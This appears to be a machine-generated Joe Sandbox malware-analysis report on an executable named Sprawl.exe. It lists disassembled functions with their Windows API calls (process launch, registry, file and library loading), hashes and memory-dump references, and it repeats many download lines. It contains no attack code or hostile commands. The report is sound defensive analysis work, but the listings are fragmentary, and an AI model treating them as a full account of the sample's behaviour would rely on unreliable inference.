Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 44c7124f25b7d0e2ad082f453cfb3c7493e33a8b49738481f167c29b071f4aa1
Instruction ID: 2a78fc1f4cbdadc5126368fc20cebde0bfb6f5e986cb98bc8d814c8ad8ef1b08
Opcode Fuzzy Hash: 44c7124f25b7d0e2ad082f453cfb3c7493e33a8b49738481f167c29b071f4aa1
Instruction Fuzzy Hash: 6D01F7B150420AAFEF20AF51DE80A5B3766E7C4751F284037FB00762D0C3799C51966D

Function 004054C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0042B070,Error launching installer), ref: 004054E9
CloseHandle.KERNEL32(?), ref: 004054F6

Strings

Error launching installer, xrefs: 004054D3

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47fe2490e17a7e9d962cab7a6b56508ed3a0dd8216b7049c1380fae9186fb834
Instruction ID: eccce0787fa873eefbebbfab998d1c477025fc2f998d9ab7e00b955d4b23de72
Opcode Fuzzy Hash: 47fe2490e17a7e9d962cab7a6b56508ed3a0dd8216b7049c1380fae9186fb834
Instruction Fuzzy Hash: 99E0BFB4A00209BFEB119B64ED05F7B7BACE700704F408561BD11F2190E774A8559A79

Function 00401E44 Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00404F48: lstrlenA.KERNEL32(00429048,00000000,0041C205,762323A0,?,?,?,?,?,?,?,?,?,00402FFA,00000000,?), ref: 00404F81
Part of subcall function 00404F48: lstrlenA.KERNEL32(00402FFA,00429048,00000000,0041C205,762323A0,?,?,?,?,?,?,?,?,?,00402FFA,00000000), ref: 00404F91
Part of subcall function 00404F48: lstrcatA.KERNEL32(00429048,00402FFA,00402FFA,00429048,00000000,0041C205,762323A0), ref: 00404FA4
Part of subcall function 00404F48: SetWindowTextA.USER32(00429048,00429048), ref: 00404FB6
Part of subcall function 00404F48: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FDC
Part of subcall function 00404F48: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FF6
Part of subcall function 00404F48: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405004

Part of subcall function 004054C0: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0042B070,Error launching installer), ref: 004054E9
Part of subcall function 004054C0: CloseHandle.KERNEL32(?), ref: 004054F6

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E7E
GetExitCodeProcess.KERNEL32(?,?), ref: 00401E8E
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EB3

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3521207402-0
Opcode ID: fa6371b051929d11490b6b0237e04c3ddcee680ab82e9b2704d90c07df1b053f
Instruction ID: 17c2ba3ee0df36fac51d80065c7f5b12f0089491b6a7036ff5f4409f8054ee18
Opcode Fuzzy Hash: fa6371b051929d11490b6b0237e04c3ddcee680ab82e9b2704d90c07df1b053f
Instruction Fuzzy Hash: 3A014031904114EBEF11AFA1CD8999F7B76EF00358F10817BF601B62E1C7795A419B9A

Function 00402410 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B44: RegOpenKeyExA.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B6C

RegQueryValueExA.ADVAPI32(00000000,00000000,?,?,?,?), ref: 00402440
RegCloseKey.ADVAPI32(?,?,?,Arabisation\argumenta\dekaderne,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024D8

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: ec8dd42a2d0ea345b8cd5bbdd5168a1da3feeb0db291650b5b2d283f8041d553
Instruction ID: 7890893f0b843e6db6fa7552cbbd45c8f95600c1d4b4a320ca67a90271c7f2f1
Opcode Fuzzy Hash: ec8dd42a2d0ea345b8cd5bbdd5168a1da3feeb0db291650b5b2d283f8041d553
Instruction Fuzzy Hash: 4511A771905205EFDF14DF64CA889AEBBB4EF15348F20443FE542B72C0D2B84A45DB6A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f3c75b006a08d566646381a99556231751fdd45880b457440c556b6d1843a041
Instruction ID: 5e1477e87fe007c5129b9736e49814af818948606251066a5de5a0362d6646fb
Opcode Fuzzy Hash: f3c75b006a08d566646381a99556231751fdd45880b457440c556b6d1843a041
Instruction Fuzzy Hash: DC012831B242109BE7295B389C04B6A369CE710319F51863BF811F72F1D678EC02CB4D

Function 00402308 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B44: RegOpenKeyExA.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B6C

RegDeleteValueA.ADVAPI32(00000000,00000000,00000033), ref: 00402327
RegCloseKey.ADVAPI32(00000000), ref: 00402330

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: 0df6b1a3f6ceee7d43e4221d77fb77a885781458b791b3427230b76ffe70b956
Instruction ID: 0b5ea08ab0382a988395d3fa8ff755f3119953e7a6b53afab80e2150babb3da0
Opcode Fuzzy Hash: 0df6b1a3f6ceee7d43e4221d77fb77a885781458b791b3427230b76ffe70b956
Instruction Fuzzy Hash: E9F04433A00110ABEB10BBA48A4EAAE72699B54344F14443BF201B71C1D9BD4D12966D

Function 00401A03 Relevance: 3.0, APIs: 2, Instructions: 30stringCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNELBASE(00000000,?,00000400,00000001), ref: 00401A16
lstrcmpA.KERNEL32(?,?,?,00000400,00000001), ref: 00401A29

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: EnvironmentExpandStringslstrcmp
String ID:
API String ID: 1938659011-0
Opcode ID: 8d5237d9befea95f927a2a949abdd38ff93adcf4596b0f884109541de8077415
Instruction ID: c697d808c4e59c81b2ccde1a948b82941deecacae3b345ad39c5db03ab9efa89
Opcode Fuzzy Hash: 8d5237d9befea95f927a2a949abdd38ff93adcf4596b0f884109541de8077415
Instruction Fuzzy Hash: 48F08231B05240DBDB20DF659D45A9B7FA8EFA1355B10443BF145F6191D2388542DB29

Function 004060C8 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403179,00000009), ref: 004060DA
GetProcAddress.KERNEL32(00000000,?), ref: 004060F5

Part of subcall function 0040605A: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406071
Part of subcall function 0040605A: wsprintfA.USER32 ref: 004060AA
Part of subcall function 0040605A: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 004060BE

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: ad31075058678b318fb1acd60a85244af91915838e2bda58b2d8d9f4dd3fd24d
Instruction ID: 98ccb2102d83f5f685579eea27cf19d97b4e550a260e46f586538f412ce47dd7
Opcode Fuzzy Hash: ad31075058678b318fb1acd60a85244af91915838e2bda58b2d8d9f4dd3fd24d
Instruction Fuzzy Hash: 19E08632644111ABD320A7749D0493B72A89E85740302483EF506F2181DB38DC21A669

Function 004059A2 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\Sprawl.exe,80000000,00000003), ref: 004059A6
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059C8

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 8635a13517db9147ca88e6c1994c1e63e85e115acab2f3846d9047911b568965
Instruction ID: 2848333a8a5b20597e43067d17cc290ce391feab13c7f73248cb22e1b8f9cacf
Opcode Fuzzy Hash: 8635a13517db9147ca88e6c1994c1e63e85e115acab2f3846d9047911b568965
Instruction Fuzzy Hash: 5CD09E31658301AFEF098F20DD16F2EBAA2EB84B01F10962CBA82950E0D6755C159B26

Function 0040597D Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,?,00405595,?,?,00000000,00405778,?,?,?,?), ref: 00405982
SetFileAttributesA.KERNEL32(?,00000000), ref: 00405996

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 123b2631ce2b274a689f6f42d71c67174a47df8962c272e460887a4e83ced065
Instruction ID: d845d86c17b980f18525549d7b015dd21524309b6d76b06211fdae883a44da1e
Opcode Fuzzy Hash: 123b2631ce2b274a689f6f42d71c67174a47df8962c272e460887a4e83ced065
Instruction Fuzzy Hash: DED01272908121BFC2102728ED0C89FBF65EB543727018B31FDB9E22F0D7304C568AA6

Function 0040548B Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,00403102,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 00405491
GetLastError.KERNEL32 ref: 0040549F

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
Instruction ID: a4c09d903a68db5e1e5a8a61abb96ed160ccf8e5b17bdb7d1f8a9ed05c9a91ae
Opcode Fuzzy Hash: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
Instruction Fuzzy Hash: 9FC04C30629541EADA515B209E097577E54AB50742F2045756606E10E0D6349551D92E

Function 00402B44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B6C

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 08f437b6b575c0d1784f99ac72875e6d7de6160551833be987b148fec970e4e7
Instruction ID: d438f0a484ed9c160f568b140fbb6a6f0821f4cba08bd088e2e240e06c4f75a3
Opcode Fuzzy Hash: 08f437b6b575c0d1784f99ac72875e6d7de6160551833be987b148fec970e4e7
Instruction Fuzzy Hash: 5FE04676240208AFDB00EFA9ED4AFA637ECBB18705F008425B609E60A1C678E5508B69

Function 00405A49 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040307A,00000000,00414420,000000FF,00414420,000000FF,000000FF,00000004,00000000), ref: 00405A5D

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction ID: 4baa6dbb94b5aed14ede1987b2b874979685841cdf923a54f3be7db8892ddb6c
Opcode Fuzzy Hash: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction Fuzzy Hash: 65E0EC3265425EAFDF109E659C40EEB7BACEB053A0F008933F925E2150D231E821DFA9

Function 00405A1A Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004030C4,00000000,00000000,00402EEE,000000FF,00000004,00000000,00000000,00000000), ref: 00405A2E

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
Instruction ID: b949637607fe9c5fc006a161b6664aa16a088e5f06d71f7b71a40b2ab1c7b417
Opcode Fuzzy Hash: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
Instruction Fuzzy Hash: 80E0EC3261425AABDF109E959C40FEB7B6CEF45360F048532F915E6590E231E8219FA9

Function 00401595 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A0

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

